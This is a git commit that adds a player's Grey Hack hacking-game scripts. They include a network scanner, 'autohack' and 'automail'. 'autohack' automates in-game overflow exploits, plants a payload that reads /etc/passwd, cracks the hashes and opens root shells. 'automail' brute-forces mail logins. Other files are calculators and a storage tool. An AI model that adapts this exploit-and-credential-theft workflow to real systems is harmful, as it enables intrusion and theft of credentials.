first commit

This commit is contained in:
Clover Foxx 2022-12-29 18:06:14 -08:00 committed by sparkiwastaken
commit d12a92f5ba
62 changed files with 46991 additions and 0 deletions

2
.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
greyhackscripts.code-workspace

1506
FoxTrot.src Normal file

File diff suppressed because it is too large Load diff

3
README.md Normal file
View file

@ -0,0 +1,3 @@
# greyhackscripts
collection of clovers's grey hack scripts
now open source due to clover leaving the game

76
advnmap.src Normal file
View file

@ -0,0 +1,76 @@
if params.len != 1 then exit("<b>Usage: "+program_path.split("/")[-1]+" [address]")
address=params[0]
if address[:3] == "www" then address=nslookup(address)
islan=is_lan_ip(address)
router=get_router(address)
if islan then router=get_router
if not router then exit("invalid ip")
wifi=router.essid_name
rver=router.kernel_version
fwr=router.firewall_rules
if islan then
ports=router.device_ports(address)
else
ports=router.used_ports
end if
ips=[]
if address != router.local_ip then
hport=null
if router.device_ports(router.local_ip).len then hport=router.device_ports(router.local_ip)[0]
m={}
m.ip=router.local_ip
if hport then m.ports=[hport] else m.ports=[]
ips.push(m)
m=null
end if
fwinfo="action port source dest"
for rules in fwr
fwinfo=fwinfo+"\n"+rules
end for
extinfo="<color=white>"+address+"</color><color=#6A855E>|rkernel: "+rver+"</color><color=#445239>|wifi: "+wifi+"</color>"
info="# lan port status service version"
print(extinfo)
if fwr then print(format_columns(fwinfo))
num=0
for port in ports
inm=0
for m in ips
if m.ip == port.get_lan_ip then
m.ports.push(port)
inm=1
end if
end for
if not inm then
m={}
m.ip=port.get_lan_ip
m.ports=[port]
ips.push(m)
end if
end for
for m in ips
ports=m.ports
ip=m.ip
info=info+"\n"+num+" "+ip+" /"
if ip == router.local_ip then info=info+"\n |0 routed router "+rver
for port in ports
service=router.port_info(port)
status="open"
if port.is_closed then status="lan"
info=info+"\n |"+port.port_number+" "+status+" "+service
end for
num=num+1
end for
if not islan or address[-2:] == ".1" then; for sub in router.devices_lan_ip
subIn=0
for m in ips
if sub == m.ip then subIn=1
end for
if subIn then continue
info=info+"\n"+num+" "+sub
num=num+1
end for;end if
print(format_columns(info)+"\n")
whoisinfo=whois(address).split("\n")
print("WhoIs results")
if whoisinfo.len < 3 then exit("could not perform WhoIs operation")
print(whoisinfo[0]+"\n"+whoisinfo[1]+"\n"+whoisinfo[2])

220
autohack.src Normal file
View file

@ -0,0 +1,220 @@
import_code("/root/Fox.so")
libs=FoxLib.General.LibFinder
mxf=libs.mxf
cpf=libs.cpf
if not mxf or not cpf then exit
mx=include_lib(mxf)
cp=include_lib(cpf)
if params.len != 1 then exit
ip=params[0]
router=get_router(ip)
if is_lan_ip(ip) then router=get_router
if not router then exit
rver=router.kernel_version
ports=[{"number": 0, "service": "router "+rver}]
for port in router.used_ports
m={}
m.number=port.port_number
m.service=router.port_info(port)
ports.push(m)
end for
if ports.len == 0 then exit
exploits=[]
decrypted=null
buildProgram=function(shell,dest)
program="mxf=""/home/guest/metaxploit.so"";mx=include_lib(mxf);libs=get_shell.host_computer.File(""/lib"").get_files;exploits=[];pass=null;for lib in libs;ml=mx.load(lib.path);lib=null;for dblib in exploits;libname=dblib.name;libver=dblib.ver;if ml.lib_name == libname and ml.version == libver then;lib=dblib;break;end if;end for;if lib then;vulns=lib.exploits;for vuln in vulns;mem=vuln.split("","")[0];exp=vuln.split("","")[1];result=ml.overflow(mem,exp);if typeof(result) == ""shell"" then;rfile=result.host_computer.File(""/etc/passwd"");if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if typeof(result) == ""computer"" then;rfile=result.File(""/etc/passwd"");if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if typeof(result) == ""file"" then;if result.path == ""/etc"" then;rfile=null;for file in result.get_files;if file.name == ""passwd"" then rfile=file;end for;if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if result.path == ""/etc/passwd"" and result.has_permission(""r"") then;pass=result.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;end if;end for;end if;if lib then continue;scan=mx.scan(ml);newLib={};newLib.name=ml.lib_name;newLib.ver=ml.version;newLib.exploits=[];for mem in scan;mems=mx.scan_address(ml,mem).split(""Unsafe check: "");for ent in mems;if ent == mems[0] then continue;exp=ent[ent.indexOf(""<b>"")+3:ent.indexOf(""</b>"")];result=ml.overflow(mem,exp);newLib.exploits.push(mem+"",""+exp);if typeof(result) == ""shell"" then;rfile=result.host_computer.File(""/etc/passwd"");if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if typeof(result) == ""computer"" then;rfile=result.File(""/etc/passwd"");if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if typeof(result) == ""file"" then;if result.path == ""/etc"" then;rfile=null;for file in result.get_files;if file.name == ""passwd"" then rfile=file;end for;if rfile and rfile.has_permission(""r"") then;pass=rfile.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;else if result.path == ""/etc/passwd"" then;if result.has_permission(""r"") then;pass=result.get_content.split(""\n"")[0];get_shell.host_computer.touch(current_path,""pass"");get_shell.host_computer.File(current_path+""/pass"").set_content(pass);exit;end if;end if;end if;end for;end for;end for"
get_shell.scp(mxf,dest,shell)
get_shell.scp(cpf,dest,shell)
shell.host_computer.touch(dest,"automated.src")
shell.host_computer.File(dest+"/automated.src").set_content(program)
built=shell.build(dest+"/automated.src",dest)
shell.host_computer.File(dest+"/automated.src").delete
end function
decrypt = function(hash)
GetPassword = function(userPass)
password=cp.decipher(userPass)
return(password)
end function
origFile = hash
if origFile.len < 32 then return
lines=[origFile]
for line in lines
userPass=line.split(":")
if userPass.len == 2 then
user=userPass[0]
userPass=userPass[1]
password=GetPassword(userPass)
if not password then print("password for "+user+" not found")
if password then
password=user+":"+password
return password
end if
else
userPass=userPass[0]
password=GetPassword(userPass)
if not password then print ("could not decipher "+userPass)
if password then return password
end if
end for
end function
attempt=function(ip,user,pass)
port=null
for i in ports
if i.service.split(" ")[0] == "ssh" then
port=i.number
break
end if
end for
if not port then
print("Could not obtain shell")
print("Password: "+pass)
else
try=get_shell.connect_service(ip,port,user,pass)
if typeof(try) == "shell" then
print("Shell obtained")
print("Pass: "+pass)
print("Start terminal?")
confirm=user_input("[Y/n]> ").lower
if confirm != "n" then try.start_terminal
end if
end if
end function
while 1
for port in ports
ns=mx.net_use(ip,port.number)
if not ns then continue
ml=ns.dump_lib
lib=null
newLib=null
for dblib in exploits
libname=dblib.name
libver=dblib.ver
if ml.lib_name == libname and ml.version == libver then
lib=dblib
break
end if
end for
if lib then
vulns=lib.exploits
for vuln in vulns
if vuln == "" then continue
mem=vuln.split(",")[0]
exp=vuln.split(",")[1]
result=ml.overflow(mem,exp)
if typeof(result) == "shell" then
rfile=result.host_computer.File("/root")
ruser="guest"
if rfile and rfile.has_permission("w") then ruser="root"
if ruser == "root" then
print("Shell obtained")
print("Start terminal?")
confirm=user_input("[Y/n]> ").lower
if confirm != "n" then result.start_terminal
else
if result.host_computer.File("/home/guest") and not result.host_computer.File("/home/guest/automated") and result.host_computer.File("/home/guest").has_permission("w") then
buildProgram(result,"/home/guest")
result.launch("/home/guest/automated")
if result.host_computer.File("/home/guest/pass") then
pass=result.host_computer.File("/home/guest/pass").get_content
decrypted=decrypt(pass.split("\n")[0])
attempt(ip,"root",decrypted)
end if
end if
end if
else if typeof(result) == "computer" then
rfile=result.File("/root")
if rfile and rfile.has_permission("w") then
pass=result.File("/etc/passwd").get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
else if typeof(result) == "file" then
if result.path == "/etc" then
rfile=null
for file in result.get_files
if file.name == "passwd" then rfile=file
end for
if rfile and rfile.has_permission("r") then
pass=rfile.get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
else if result.path == "/etc/passwd" then
if result.has_permission("r") then
pass=result.get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
end if
end if
end for
end if
if lib then continue
scan=mx.scan(ml)
newLib={}
newLib.name=ml.lib_name
newLib.ver=ml.version
newLib.exploits=[]
for mem in scan
mems=mx.scan_address(ml,mem).split("Unsafe check: ")
for ent in mems
if ent == mems[0] then continue
exp=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
result=ml.overflow(mem,exp)
newLib.exploits.push(mem+","+exp)
if typeof(result) == "shell" then
rfile=result.host_computer.File("/root")
ruser="guest"
if rfile and rfile.has_permission("w") then ruser="root"
if ruser == "root" then
print("Shell obtained")
print("Start terminal?")
confirm=user_input("[Y/n]> ").lower
if confirm != "n" then result.start_terminal
else
if result.host_computer.File("/home/guest") and not result.host_computer.File("/home/guest/automated") and result.host_computer.File("/home/guest").has_permission("w") then
buildProgram(result,"/home/guest")
result.launch("/home/guest/automated")
if result.host_computer.File("/home/guest/pass") then
pass=result.host_computer.File("/home/guest/pass").get_content
decrypted=decrypt(pass.split("\n")[0])
attempt(ip,"root",decrypted)
end if
end if
end if
else if typeof(result) == "computer" then
rfile=result.File("/etc/passwd")
if rfile and rfile.has_permission("r") then
pass=rfile.get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
else if typeof(result) == "file" then
if result.path == "/etc" then
rfile=null
for file in result.get_files
if file.name == "passwd" then rfile=file
end for
if rfile and rfile.has_permission("r") then
pass=rfile.get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
else if result.path == "/etc/passwd" then
if result.has_permission("r") then
pass=result.get_content.split("\n")[0]
decrypted=decrypt(pass)
attempt(ip,"root",decrypted)
end if
end if
end if
end for
end for
exploits.push(newLib)
end for
end while

33
automail.src Normal file
View file

@ -0,0 +1,33 @@
if params.len != 1 then exit("invalid command usage")
alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
al=alpha.len
counters=[]
max=32
for i in range(1,max)
counters=[]
for _ in range(0,max-1)
counters.push(0)
end for
while 1
cy=counters[:i]
ps=[]
for x in cy
ps.push(x*(al ^ __x_idx))
end for
cy=ps.sum
pass=""
for q in range(0,(i-1))
if floor(counters[q]/al) then
counters[q]=0
if q != i-1 then counters[q+1]=counters[q+1]+1 else continue
end if
pass=pass+alpha[counters[q]]
end for
print("Attempting password <b>"+pass+"</b>, <b>"+(cy+1)+"/"+(al^i)+"</b> of length <b>"+i+"</b>")
attempt=mail_login(params[0],pass)
if typeof(attempt) != "string" then exit("<color=red><b>PASSWORD FOUND - "+pass+"</b></color>")
counters[0]=counters[0]+1
if floor((counters[:i].sum-1)/(al-1)) == i then break
end while
end for

98
autoproxy.src Normal file
View file

@ -0,0 +1,98 @@
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
if params.len > 3 then exit(program_path.split("/")[-1]+" (user@password) (address) (port)")
if params.len == 0 then
current=get_shell
chains=get_shell.host_computer.File(current_path+"/proxies")
if not chains then
get_shell.host_computer.touch(current_path,"proxies")
exit(program_path.split("/")[-1]+" (user@password) (address) (port)")
end if
if chains.get_content.len < 1 then exit(program_path.split("/")[-1]+" (user@password) (address) (port)")
chains=chains.get_content.split("\n")
for proxy in chains
if proxy == "" then continue
proxy=encrypt(proxy,"autoproxy","dec").split("/")
server=proxy[0]
port=proxy[1].to_int
user=proxy[2]
pass=proxy[3]
//server/port/user/pass
print("connecting server "+server)
attempt=current.connect_service(server,port,user,pass,"ssh")
if typeof(attempt) != "shell" then
print("Couldn't connect")
continue
end if
current=attempt
end for
print("starting terminal at "+server)
current.start_terminal
else
if params.len < 2 then exit(program_path.split("/")[-1]+" (user@password) (address) (port)")
server=params[1]
user=params[0].split("@")[0]
pass=params[0].split("@")[1]
port=22
if params.len == 3 then
port=params[2].to_int
if typeof(port) != "number" then exit("invalid port")
end if
chains=get_shell.host_computer.File(current_path+"/proxies")
if not chains then
get_shell.host_computer.touch(current_path,"proxies")
chains=get_shell.host_computer.File(current_path+"/proxies")
end if
//server/port:user@pass
print("Checking connection. . .")
if typeof(get_shell.connect_service(server,port,user,pass,"ssh")) != "shell" then exit("Could not connect to server "+server)
newServ=encrypt(server+"/"+str(port)+"/"+user+"/"+pass,"autoproxy","enc")
cont=chains.get_content
chains.set_content(cont+newServ+char(10))
print("added proxy")
end if

297
calc.src Normal file
View file

@ -0,0 +1,297 @@
Token=function(type,value)
return {"type": type, "value": value}
end function
Lexer=function(text)
out={}
out.text=text
out.pos=0
out.currChar=out.text[out.pos]
out.error=function()
exit("Invalid character!")
end function
out.advance=function(self)
self.pos=self.pos+1
if self.pos > self.text.len-1 then
self.currChar=null
else
self.currChar=self.text[self.pos]
end if
end function
out.skip_ws=function(self)
while self.currChar and self.currChar == " "
self.advance
end while
end function
out.integer=function(self)
result=""
while self.currChar != null and (typeof(self.currChar.to_int) == "number" or self.currChar == ".")
result=result+self.currChar
self.advance
end while
return result.val
end function
out.gnt=function(self)
while self.currChar
if self.currChar == " " then
self.skip_ws
continue
end if
if typeof(self.currChar.to_int) == "number" then
return Token("INT",self.integer)
end if
if self.currChar == "+" then
self.advance
return Token("ADD","+")
end if
if self.currChar == "-" then
self.advance
return Token("SUB","-")
end if
if self.currChar == "*" then
self.advance
return Token("MUL","*")
end if
if self.currChar == "/" then
self.advance
return Token("DIV","/")
end if
if self.currChar == "^" then
self.advance
return Token("EXP","^")
end if
if self.currChar == "%" then
self.advance
return Token("MOD","%")
end if
if self.currChar == "(" then
self.advance
return Token("LPAREN","(")
end if
if self.currChar == ")" then
self.advance
return Token("RPAREN",")")
end if
self.error
end while
return Token("EOF",null)
end function
return out
end function
AST=function()
return {}
end function
BinOp=function(left,op,right)
out=AST
out.left=left
out.op=op
out.token=op
out.right=right
out.classID="BinOp"
return out
end function
Num=function(token)
out=AST
out.token=token
out.value=token.value
out.classID="Num"
return out
end function
UnaryOp=function(op,expr)
out=AST
out.op=op
out.token=op
out.expr=expr
out.classID="UnaryOp"
return out
end function
Parser=function(lexer)
out={}
out.lexer=lexer
out.ct=out.lexer.gnt
out.error=function()
exit("Invalid syntax!")
end function
out.eat=function(self,ttype)
if self.ct.type == ttype then self.ct=self.lexer.gnt else self.error
end function
out.factor=function(self)
token=self.ct
if token.type == "ADD" then
self.eat("ADD")
node=UnaryOp(token,self.factor)
return node
else if token.type == "SUB" then
self.eat("SUB")
node=UnaryOp(token,self.factor)
return node
else if token.type == "INT" then
self.eat("INT")
return Num(token)
else if token.type == "LPAREN" then
self.eat("LPAREN")
node=self.expr
self.eat("RPAREN")
return node
end if
end function
out.exp=function(self)
node=self.factor
while self.ct.type == "EXP"
token=self.ct
self.eat("EXP")
node=BinOp(node,token,self.factor)
end while
return node
end function
out.term=function(self)
node=self.exp
while ["MUL","DIV","MOD"].indexOf(self.ct.type) != null
token=self.ct
if token.type == "MUL" then
self.eat("MUL")
else if token.type == "DIV" then
self.eat("DIV")
else if token.type == "MOD" then
self.eat("MOD")
end if
node=BinOp(node,token,self.exp)
end while
return node
end function
out.expr=function(self)
node=self.term
while ["ADD","SUB"].indexOf(self.ct.type) != null
token=self.ct
if token.type == "ADD" then
self.eat("ADD")
else if token.type == "SUB" then
self.eat("SUB")
end if
node=BinOp(node,token,self.term)
end while
return node
end function
out.parse=function(self)
return self.expr
end function
return out
end function
NodeVisitor=function()
out={}
out.visit=function(self,node)
method="visit_"+typeof(node)
if not self.hasIndex(method) then self.generic_visit
result=null
if method == "visit_BinOp" then
result=self.visit_BinOp(node)
else if method == "visit_Num" then
result=self.visit_Num(node)
else if method == "visit_UnaryOp" then
result=self.visit_UnaryOp(node)
end if
return result
end function
out.generic_visit=function()
exit("No visit method")
end function
return out
end function
Interpreter=function(parser)
out=NodeVisitor
out.parser=parser
out.visit_BinOp=function(self,node)
if node.op.type == "ADD" then
return self.visit(node.left) + self.visit(node.right)
else if node.op.type == "SUB" then
return self.visit(node.left) - self.visit(node.right)
else if node.op.type == "MUL" then
return self.visit(node.left) * self.visit(node.right)
else if node.op.type == "DIV" then
return self.visit(node.left) / self.visit(node.right)
else if node.op.type == "MOD" then
return self.visit(node.left) % self.visit(node.right)
else if node.op.type == "EXP" then
return self.visit(node.left) ^ self.visit(node.right)
end if
end function
out.visit_Num=function(self,node)
return node.value
end function
out.visit_UnaryOp=function(self,node)
op=node.op.type
if op == "ADD" then
return self.visit(node.expr)
else if op == "SUB" then
return -self.visit(node.expr)
end if
end function
out.interp=function(self)
tree=self.parser.parse
return self.visit(tree)
end function
return out
end function
main=function()
print("Four Leaf Calculator")
print
while 1
text=user_input("calc> ")
if not text then continue
run(text)
end while
end function
run=function(script)
lexer=Lexer(script)
parser=Parser(lexer)
interp=Interpreter(parser)
result=interp.interp
print(result)
end function
main

175
calcfree.src Normal file
View file

@ -0,0 +1,175 @@
//Four Leaf Calculator, by Clover
//Give credit!!
Token=function(type,value)
return {"type": type, "value": value}
end function
Lexer=function(text)
out={}
out.text=text
out.pos=0
out.currChar=out.text[out.pos]
out.error=function()
exit("Invalid character")
end function
out.advance=function(self)
self.pos=self.pos+1
if self.pos > self.text.len-1 then
self.currChar=null
else
self.currChar=self.text[self.pos]
end if
end function
out.skip_ws=function(self)
while self.currChar and self.currChar == " "
self.advance
end while
end function
out.integer=function(self)
result=""
while self.currChar and typeof(self.currChar.to_int) == "number"
result=result+self.currChar
self.advance
end while
return result.val
end function
out.gnt=function(self)
while self.currChar
if self.currChar == " " then
self.skip_ws
continue
end if
if typeof(self.currChar.to_int) == "number" then
return Token("INT",self.integer)
end if
if self.currChar == "+" then
self.advance
return Token("ADD","+")
end if
if self.currChar == "-" then
self.advance
return Token("SUB","-")
end if
if self.currChar == "*" then
self.advance
return Token("MUL","*")
end if
if self.currChar == "/" then
self.advance
return Token("DIV","/")
end if
if self.currChar == "^" then
self.advance
return Token("EXP","^")
end if
if self.currChar == "(" then
self.advance
return Token("LPAREN","(")
end if
if self.currChar == ")" then
self.advance
return Token("RPAREN",")")
end if
self.error
end while
return Token("EOF",null)
end function
return out
end function
Interpreter=function(lexer)
out={}
out.lexer=lexer
out.ct=out.lexer.gnt
out.error=function()
exit("Invalid syntax")
end function
out.eat=function(self,ttype)
if self.ct.type == ttype then self.ct=self.lexer.gnt else self.error
end function
out.factor=function(self)
token=self.ct
if token.type == "INT" then
self.eat("INT")
return token.value
else if token.type == "LPAREN" then
self.eat("LPAREN")
result=self.expr()
self.eat("RPAREN")
return result
end if
end function
out.exp=function(self)
result=self.factor
while self.ct.type == "EXP"
token=self.ct
self.eat("EXP")
result=result ^ self.factor()
end while
return result
end function
out.term=function(self)
result=self.exp
while ["MUL","DIV"].indexOf(self.ct.type) != null
token=self.ct
if token.type == "MUL" then
self.eat("MUL")
result=result*self.exp
else if token.type == "DIV" then
self.eat("DIV")
result=result/self.exp
end if
end while
return result
end function
out.expr=function(self)
result=self.term
while ["ADD","SUB"].indexOf(self.ct.type) != null
token=self.ct
if token.type == "ADD" then
self.eat("ADD")
result=result+self.term
else if token.type == "SUB" then
self.eat("SUB")
result=result-self.term
end if
end while
return result
end function
return out
end function
print("Four Leaf Calculator")
print("By Clover")
print
while 1
text=user_input("calc> ")
if not text then continue
lexer=Lexer(text)
interp=Interpreter(lexer)
result=interp.expr
print(result)
end while

287
cloudsafe.src Normal file
View file

@ -0,0 +1,287 @@
//import_code("/root/Bytes")
apt=include_lib("/lib/aptclient.so")
ver="1.1.1"
GB=1000000000
logo="-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"
logo=logo+" ______ __ __ _____ ____ \n"
logo=logo+" / ____/ / / ____ __ __ ____/ / / ___/ ____ _ / __/ ___ \n"
logo=logo+" / / / / / __ \ / / / / / __ / \__ \ / __ `/ / /_ / _ \\n"
logo=logo+"/ /___ / / / /_/ // /_/ / / /_/ / ___/ / / /_/ / / __/ / __/\n"
logo=logo+"\____/ /_/ \____/ \__,_/ \__,_/ /____/ \__,_/ /_/ \___/ \n"
logo=logo+"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"
logo=logo+"v. "+ver+"\n"
logo=logo+"<color=#6A855E><i>Your one-stop file storage shop!</i></color>"
print(logo)
//if apt then
// sources=get_shell.host_computer.File("/etc/apt/sources.txt")
// if sources and sources.has_permission("r") then
// inSource=false
// sources=sources.get_content.split("\n")
// for source in sources
// source=source.split(":")
// if source[0] == " ""93.43.53.184""" then inSource=true
// end for
// if not inSource then
// apt.add_repo("93.43.53.184",1542)
// apt.update
// end if
// out=apt.check_upgrade(program_path)
// if out then
// print("Update found!")
// apt.install("CloudSafe",parent_path(program_path))
// get_shell.launch(program_path)
// exit
// end if
// end if
//end if
print("Establishing connection to server. . .")
server=get_shell.connect_service
if typeof(server) != "shell" then exit("Could not connect.")
if server.host_computer.File("/server/.CloudSafe/maintenance.cfg").get_content != "false" then exit(server.host_computer.File("/server/.CloudSafe/maintenance.cfg").get_content)
print("Connected!")
encrypt=function(password)
o=[]
for ch in password
k=ch.code*10
a=k*4
s=a+100*10
t=s+1000*10*2000+10000000000
o.push("ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+bitwise("^",t,7777)+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©"+"ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©")
end for
return o.join("ДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийлДЖЁЙЛбд¶жёийл©")
end function
login=function(fuser,fpass)
output={}
output.bool=1
output.stderr="Could not verify your identity. (Incorrect username or password.)"
output.stdout=0
userAcc=server.host_computer.File("/server/.CloudSafe/users/"+fuser+"/passwd.enc")
if not userAcc then
output.bool=0
return(output)
end if
userData=userAcc.get_content
if encrypt(fpass) == userData then
output.stdout=fuser+":"+fpass
return output
else
output.bool=0
return(output)
end if
end function
register=function()
output={}
output.bool=1
output.stdout=0
output.stderr=0
illegalChars=[":",",",".","/","\","[","{","(","]","}",")","-","_","="," ","|","<",">","~","`","*","&","^","%","$","#","@","!"]
user=user_input("[username]~$")
for ilchar in illegalChars
for chr in user
if chr==ilchar then exit("Illegal characters used in username!")
end for
end for
if server.host_computer.File("/server/.CloudSafe/users/"+user) then
output.bool=0
output.stderr="User exists!"
return output
end if
RPass=user_input("[password]~$")
CPass=user_input("[confirm]~$")
if CPass != RPass then
output.bool=0
output.stderr="Passwords do not match!"
return output
end if
print("Creating an account (10 BTC)")
opt=user_input("Continue? [Y/N]~$").lower
if opt != "y" then
output.bool=0
output.stderr="Purchase declined"
return output
end if
coins="10"
transf=BTC.transfer(owner,coins,0,0)
if transf.bool then
print(transf.stdout)
else
output.bool=0
output.stderr="Purchase failure"
return output
end if
print("[%]Creating account: "+user)
server.host_computer.create_folder("/server/.CloudSafe/users",user)
server.host_computer.create_folder("/server/.CloudSafe/users/"+user,"files")
path="/server/.CloudSafe/users/"+user
server.host_computer.touch(path,"passwd.enc")
server.host_computer.touch(path,"storage")
server.host_computer.File(path).chmod("o-wrx",1)
server.host_computer.File(path).chmod("u-wrx",1)
server.host_computer.File(path).chmod("g-wrx",1)
server.host_computer.File(path+"/passwd.enc").set_content(encrypt(CPass))
server.host_computer.File(path+"/storage").set_content(GB)
output.stdout=user+":"+CPass
return output
end function
opt=null
while opt != "register" or opt != "login"
print("[Login]
[Register]")
opt=user_input("~$").lower
if opt == "login" then
user=user_input("[username]~$")
pass=user_input("[password]~$",true)
output=login(user,pass)
if output.bool then
print("Successful login!")
creds=output.stdout.split(":")
break
end if
print(output.stderr)
continue
end if
if opt == "register" then
output=register()
if output.bool then
print("[+]User created!")
creds=output.stdout.split(":")
break
end if
print(output.stderr)
continue
end if
end while
ufiles=server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/files")
help=function()
print("[Files]
[Upload]
[Download]
[Remove]
[Account]
[Help]
[Exit]")
end function
help()
while true
term=user_input("~$").lower
if term == "help" then help()
if term == "exit" then exit("Exiting!")
if term == "files" then
files=ufiles.get_files
output="Name / Size\n"
for file in files
name=file.name
size=file.size
output=output+name+" / "+size+"\n"
end for
print(format_columns(output))
continue
end if
if term == "upload" then
maxspace=server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content.to_int
space=0
for file in ufiles.get_files
space=space+file.size.to_int
end for
path=user_input("[FULL File path]~$")
if not get_shell.host_computer.File(path) then
print("File does not exist")
continue
end if
if not get_shell.host_computer.File(path).has_permission("r") then
print("No permissions to file")
continue
end if
if get_shell.host_computer.File(path).is_folder then
print("Cannot upload a folder!")
continue
end if
if server.host_computer.File(ufiles.path+"/"+path.split("/")[-1]) then
print("File already exists")
continue
end if
if space+get_shell.host_computer.File(path).size > maxspace and server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content != "inf" then
print("Exceeds maximum space!")
continue
end if
get_shell.scp(path,ufiles.path,server)
up=server.host_computer.File(ufiles.path+"/"+path.split("/")[-1])
up.chmod("o-wrx")
up.chmod("u-wrx")
up.chmod("g-wrx")
print("Uploaded "+path+"!")
continue
end if
if term == "download" then
file=user_input("[File]~$")
if not server.host_computer.File(ufiles.path+"/"+file) then
print("File does not exist")
continue
end if
server.scp(ufiles.path+"/"+file,current_path,get_shell)
print("Downloaded "+file+"!")
continue
end if
if term == "remove" then
file=user_input("[File]~$")
if not server.host_computer.File(ufiles.path+"/"+file) then
print("File does not exist, lucky you!")
continue
end if
server.host_computer.File(ufiles.path+"/"+file).delete
print("Deleted "+file+"!")
end if
if term == "account" then
print("Hello "+creds[0]+"!")
print("Current maximum space: "+server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content)
space=0
for file in ufiles.get_files
space=space+file.size.to_int
end for
print("Current used space: "+space+"/"+server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content)
print("[Upgrade]
[Delete]
[Return]")
while true
opt=user_input("~$").lower
if opt == "upgrade" and server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content != "inf" then
if server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content=="inf" then continue
print("Purchasing +1 GB Storage Space (10 BTC)")
opt=user_input("<color=red>Continue? [Y/N]~$").lower
if opt == "y" then
coins="10"
output=BTC.transfer(owner,coins,0,0)
if output.bool then
print(output.stdout)
else
print("Purchase failure")
continue
end if
space=server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").get_content.split.to_int
space=space+GB
server.host_computer.File("/server/.CloudSafe/users/"+creds[0]+"/storage").set_content(space)
end if
end if
if opt == "delete" then
print("This will irreversably delete all of your data!")
opt=user_input("<color=red>Continue? [Y/N]~$").lower
if opt == "y" then
print("[-]Removing user")
server.host_computer.File("/server/.CloudSafe/users/"+creds[0]).delete
exit("[%]User deleted")
end if
end if
if opt == "return" then break
end while
end if
end while

126
cookieclicker.src Normal file
View file

@ -0,0 +1,126 @@
//cookie clicker
save=get_shell.host_computer.File(current_path+"/hc.save")
if not save then
get_shell.host_computer.touch(current_path,"hc.save")
save=get_shell.host_computer.File(current_path+"/hc.save")
end if
if save.get_content.len == 0 then save.set_content("0"+char(10)+"0"+char(10)+"0"+char(10)+"0"+char(10)+"0"+char(10)+"0"+char(10)+"0"+char(10)+"0"+char(10)+"Starting out - Start a new game")
cont=save.get_content.split("\n")
notFine=function()
print("Something has gone terribly wrong! (Most likely you went over the game's max number limit of around 1,000,000,000)")
print("Create new save?")
